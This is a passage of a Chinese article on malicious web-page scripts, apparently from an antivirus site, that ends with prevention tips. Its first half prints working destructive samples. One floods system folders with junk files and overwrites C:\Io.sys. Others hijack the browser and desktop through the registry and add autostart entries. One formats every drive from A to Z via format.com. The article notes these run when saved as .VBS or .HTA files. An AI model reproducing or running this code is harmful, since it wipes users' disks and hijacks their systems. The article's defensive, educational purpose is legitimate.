“ Where will you go? ”、“ Congratulations!!! ”、“ Don ’ t Cry ”、“ Look at the pretty ”、“ Some advice on your shortcoming ”、“ Free XXX Pictures ”、“ A free hot porn site ”、“ Why don ’ t you reply to me? ”、“ How about have dinner with me together? ”、“ Never kiss a stranger ”“ Hi ”、“ Hello ”、“ How are you? ”、“ Can you help me? ”、“ We want peace ” 、“ Where will you go? ”、“ Congratulations!!! ”、“ Don ’ t Cry ”、“ Look at the pretty ”、“ Some advice on your shortcoming ”、“ Free XXX Pictures ”、“ A free hot porn site ”、“ Why don ’ t you reply to me? ”、“ How about have dinner with me together? ”、“ Never kiss a stranger ”“ Hi ”、“ Hello ”、“ How are you? ”、“ Can you help me? ”、“ We want peace ” 、“ Where will you go? ”、“ Congratulations!!! ”、“ Don ’t Cry ”、“ Look at the pretty ”、“ Some advice on your shortcoming ”、“ Free XXX Pictures ”、“ A free hot porn site ”、“ Why don ’ t you reply to me? ”、“ How about have dinner with me together? ”、“ Never kiss a stranger ”“ Hi ”、“ Hello ”、“ How are you? ”、“ Can you help me? ”、“ We want peace ” 、“ Where will you go? ”、“ Congratulations!!! ”、“ Don ’t Cry ”、“ Look at the pretty ”、“ Some advice on your shortcoming ”、“ Free XXX Pictures ”、“ A free hot porn site ”、“ Why don ’ t you reply to me? ”“ How about have dinner with me together? ”
"

・一堆垃圾码，以备写入目标文件

Os.Reset・重置 TypeLib 对象

Os.Path = "C:\Io.sys"・TypeLib 对象的目标路径为 C:\Io.sys

Os.Doc = doc·写入的内容——就是上面的一堆垃圾

Os.Write ()·写入！

while true

·死循环，垃圾文件越多越好

a=a+1

Os.Reset

Os.Path = dir2&"\Msvbvm"&a&".dll"

·目标路径为 System 下的 Msvbvm???.dll 文件

Os.Doc = doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&

doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&d

oc&doc&doc&doc&doc&doc&doc&doc&doc

·大量重复，以生成足够大小的文件

Os.Write ()·生成文件！

wend

〈/script〉

3、修改电脑配置

"HKCU\\Software\\Classes\\CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30

309D}\\","强加的内容");

"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search

Page","http://XXX.XXX.net"); //此处修改你 IE 的首页

"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://XXX.XXX.net"); //此处修改你 IE 的首页

"HKCR\\CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\","强加的内容"); //此处修改“我的电脑”

"HKCR\\CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\InfoTip","强加的内容");

"HKCR\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\","强加的内容"); //此处修改“回收站”

"HKCR\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\InfoTip","强加的内容");

"HKLM\\Software\\Microsoft\\Windows\\Currentversion\\Winlogon\\LegalNoticeCaption","强加的内容");

"HKLM\\Software\\Microsoft\\Windows\\Currentversion\\Winlogon\\LegalNoticeText","强加的内容"); //此处修改后出现你启动时的对话框

"HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "强加的内容 http://XXX.XXX.net"); //此处修改你 IE 的首页上的文字

"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "强加的内容 http://XXX.XXX.net"); //此处修改你 IE 的首页上的文字

4、格式化硬盘

<OBJECT classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B

```
id=wsh></OBJECT>
<SCRIPT>
wsh.Run('start /m format.com z:/q /autotest /u');
wsh.Run('start /m format.com y:/q /autotest /u');
wsh.Run('start /m format.com x:/q /autotest /u');
wsh.Run('start /m format.com w:/q /autotest /u');
wsh.Run('start /m format.com v:/q /autotest /u');
wsh.Run('start /m format.com u:/q /autotest /u');
wsh.Run('start /m format.com t:/q /autotest /u');
wsh.Run('start /m format.com s:/q /autotest /u');
wsh.Run('start /m format.com r:/q /autotest /u');
wsh.Run('start /m format.com q:/q /autotest /u');
wsh.Run('start /m format.com p:/q /autotest /u');
wsh.Run('start /m format.com o:/q /autotest /u');
wsh.Run('start /m format.com n:/q /autotest /u');
wsh.Run('start /m format.com m:/q /autotest /u');
wsh.Run('start /m format.com l:/q /autotest /u');
wsh.Run('start /m format.com k:/q /autotest /u');
wsh.Run('start /m format.com j:/q /autotest /u');
wsh.Run('start /m format.com i:/q /autotest /u');
wsh.Run('start /m format.com h:/q /autotest /u');
wsh.Run('start /m format.com g:/q /autotest /u');
```

```
wsh.Run('start /m format.com f:/q /autotest /u');
wsh.Run('start /m format.com e:/q /autotest /u');
wsh.Run('start /m format.com d:/q /autotest /u');
wsh.Run('start /m format.com c:/q /autotest /u');
wsh.Run('start /m format.com b:/q /autotest /u');
wsh.Run('start /m format.com a:/q /autotest /u');
</SCRIPT>
</P>
```

5、一段修改 WIN 系统的恶意网站代码

```
document.write("<APPLET HEIGHT=0 WIDTH=0
code=com.ms.activeX.ActiveXComponent></APPLET>");function
yuzi(){try{a1=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0
-ADB9-00C04FD58A0B}");a1.createInstance();Shl =
a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}
");a1.createInstance();FSO = a1.GetObject();try{ WF =
FSO.GetSpecialFolder(0);loc = WF + "\\system"; var
Shor=Shl.CreateShortcut(loc + "\\"+"internet"
+".URL");Shor.TargetPath="http://www.***.com ";Shor.Save(); WF =
FSO.GetSpecialFolder(0);loc = WF + "\\Favorites"; var
Shor=Shl.CreateShortcut(loc + "\\"+" 《 ** 网 》 "
```

```
+".URL");Shor.TargetPath="http://www.***.com ";Shor.Save();  WF =
FSO.GetSpecialFolder(0);loc   =   WF   +   "\\Favorites";   var
Shor=Shl.CreateShortcut(loc   +   "\\"+"   《   **   网   》   "
+".URL");Shor.TargetPath="http://www.***.com";Shor.Save();   WF  =
FSO.GetSpecialFolder(0);loc   =   WF   +   "\\Favorites";   var
Shor=Shl.CreateShortcut(loc   +   "\\"+"   《   **   网   》   !   "
+".URL");Shor.TargetPath="http://www.***.com ";Shor.Save();  WF =
FSO.GetSpecialFolder(0);loc   =   WF   +   "\\Favorites";   var
Shor=Shl.CreateShortcut(loc   +   "\\"+"   《   **   网   》   "
+".URL");Shor.TargetPath="http://www.***.com ";Shor.Save();  WF =
FSO.GetSpecialFolder(0);loc   =   WF   +   "\\Favorites";   var
Shor=Shl.CreateShortcut(loc   +   "\\"+"   《   **   网   》   "
+".URL");Shor.TargetPath="http://www.***.com ";Shor.Save();  WF =
FSO.GetSpecialFolder(0);loc   =   WF   +   "\\desktop";   var
Shor=Shl.CreateShortcut(loc    +    "\\"+"Internet    Explorer"
+".URL");Shor.TargetPath="http://www.***.com ";Shor.Save();  WF =
FSO.GetSpecialFolder(0);loc   =   WF   +   "\\desktop";   var
Shor=Shl.CreateShortcut(loc   +   "\\"+"   《   **   网   》   "
+".URL");Shor.TargetPath="http://www.***.com ";Shor.Save();  WF =
FSO.GetSpecialFolder(0);loc   =   WF   +   "\\desktop";   var
Shor=Shl.CreateShortcut(loc   +   "\\"+"   《   **   网   》   "
+".URL");Shor.TargetPath="http://www.***.com ";Shor.Save();  WF =
```

```
FSO.GetSpecialFolder(0);loc = WF + "\\desktop"; var
Shor=Shl.CreateShortcut(loc + "\\"+" 《 ** 网 》 "
+".URL");Shor.TargetPath="http://www.***.com ";Shor.Save(); WF =
FSO.GetSpecialFolder(0);loc = WF + "\\Start Menu"; var
Shor=Shl.CreateShortcut(loc + "\\"+" 《 ** 网 》 "
+".URL");Shor.TargetPath="http://www.***.com ";Shor.Save(); WF =
FSO.GetSpecialFolder(0);loc = WF + "\\Application
Data\\Microsoft\\Internet Explorer\\Quick Launch"; var
Shor=Shl.CreateShortcut(loc + "\\"+" 《 ** 网 》 "
+".URL");Shor.TargetPath="http://www.***.com ";Shor.Save(); WF =
FSO.GetSpecialFolder(0);loc = WF + "\\Start Menu\\Programs"; var
Shor=Shl.CreateShortcut(loc + "\\"+" 《 ** 网 》 "
+".URL");Shor.TargetPath="http://www.***.com ";Shor.Save();
Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet
Explorer\\Main\\Start Page","http://www.***.com ");
Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet
Explorer\\Main\\Window Title","http://www.***.com ");
Shl.RegWrite("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\Cu
rrentVersion\\Run\\internet","C:\\WINDOWS\\system\\internet.url");
 }catch(e){}}catch(e){}}setTimeout("yuzi()",1000);
```

以上文件保存为.VBS 或.HTA 文件,运行后就可以执行。

六、恶意代码的预防

1、要避免中招，关键是不要轻易去一些自己并不了解的站点，特别是那些看上去美丽诱人的网址更不要贸然前往，否则吃亏的往往是你。

2、由于该类网页是含有有害代码的 ActiveX 网页文件，因此在 IE 设置中将 ActiveX 插件和控件、Java 脚本等全部禁止就可以避免中招。

具体方法是：在 IE 窗口中点击“ 工具→Internet 选项，在弹出的对话框中选择“ 安全 ”标签，再点击“ 自定义级别 ”按钮，就会弹出“ 安全设置 ”对话框，把其中所有 ActiveX 插件和控件以及 Java 相关全部选择“ 禁用 ”即可。不过，这样做在以后的网页浏览过程中可能会造成一些正常使用 ActiveX 的网站无法浏览。唉，有利就有弊，你还是自己看着办吧。

3、对于 Windows98 用户，请打开 C:\WINDOWS\JAVA\Packages\

CVLV1NBB.ZIP,把其中的‘ ActiveXComponent.class ’删掉；对于 WindowsMe 用户，请打开 C:\WINDOWS\JAVA\Packages\5NZVFPF1.ZIP，把其中的“ ActiveXComponent.class ”删掉。请放心，删除这个组件不会影响到你正常浏览网页的。

4、对于所有用户，都建议安装杀毒软件，实现在线监测，我们建议你选择 Norton AntiVirus 系列软件，此软件已经把通过 IE 修改注册表的代码定义为 Trojan.Offensive ，增加了 Script Blocking 功能，它将对此类恶作剧进行监控，并予以拦截。

另外，下载超级兔子魔法设置软件后安装，如果出现问题，可以用它来恢复。不过，“ 兔子 ”对于我们在上面所说的恶意网页使得 IE 中鼠标右键失

效，“ 查看 ”菜单中的“ 源文件 ”被禁用这两种现象无法恢复。

5、既然这类网页是通过修改注册表来破坏我们的系统，那么我们可以事先把注册表加锁：禁止修改注册表，这样就可以达到预防的目的。不过，自己要使用注册表编辑器 regedit.exe 该怎么办呢？因此我们还要在此前事先准备一把“ 钥匙 ”，以便打开这把“ 锁 ”！

加锁方法如下：

(1)运行注册表编辑器 regedit.exe；

(2)展开注册表到 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System 下，新建一个名为 DisableRegistryTools 的 DWORD 值，并将其值改为“ 1 ”，即可禁止使用注册表编辑器 regedit.exe。

解锁方法如下：

用记事本编辑一个任意名字的.reg 文件，比如 unlock.reg，内容如下：

```
REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
“ DisableRegistryTools ”=dword:00000000
```

存盘，你就有了一把解锁的钥匙了！如果要使用注册表编辑器，则双击 unlock.reg 即可。请注意如果你是 Win2000 或 WinXP 用户，请将“ REGEDIT4 ”写为 Windows Registry Editor Version 5.00。

6、对 Win2000 用户，还可以通过在 Win2000 下把服务里面的远程注册表操作服务“ Remote Registry Service ”禁用，来对付该类网页。具体方法是：

点击“管理工具→服务→Remote Registry Service(允许远程注册表操作)”，将这一项禁用即可。

7、如果觉得手动修改注册表太危险，可以下载如下 reg 文件，双击之可恢复被修改的注册表。

8、虽然经过一番辛苦的劳动修改回了标题和默认连接首页，但如果以后又不小心进入该站就又得麻烦一次。其实，你可以在 IE 中做一些设置以便永远不进该站点：

打开 IE，点击“工具”→“Internet 选项”→“内容”→“分级审查”，点“启用”按钮，会调出“分级审查”对话框，然后点击“许可站点”标签，输入不想去的网站网址，如输入：http://on888.home.chinaren.com，按“从不”按钮，再点击“确定”即大功告成！

9、升级你的 IE 为 6.0 版本，可以有效防范上面这些症状。

10、下载微软最新的 Microsoft Windows Script 5.6，可以预防上面所说的现象，更可预防目前流行的、可恶的混客绝情炸弹。

11、对恶意代码免疫，在注册表中删除恶意代码会用到的一个 id 就可以了，那就是 F935DC22-1CF0-11D0-ADB9-00C04FD58A0B。只要把它删了，那你以后碰到恶意代码就再也不用担心注册表会再被修改了。它在注册表里面的 HKEY_CLASSES_ROOT\CLSID\{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}，找到后把整个项删掉就可以了，这个项删掉不会对系统有任何影响，请放心删除。

这里还有一个项也是对系统有威胁的，是 HKEY_CLASSES_ROOT\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}，网

页格式化硬盘的代码中就用到它，对系统安全有影响，也删了！

七、后记

本文在匆忙中写出，不足之处难免，请大家指正，部分内容参考了网络上的一些文章，并引用了部分代码，并得到了部分杀毒厂商的支持，在此表示感谢。

通过阅读本文主要是希望广大朋友能了解网页病毒，知道如何的正确查杀，这也算本站对网络作的一点贡献，在此作抛砖引玉之功。

本文是完全免费，可以任意使用和发布，但严禁利用本文介绍的原理和方法编制病毒，危害别人和国家。否则本站不负任何责任。

本文主要编制人员：shanguo

如果你希望获得更多的病毒信息，请你访问我们的网站《搜毒网》。

网　址：http://www.soudu.net/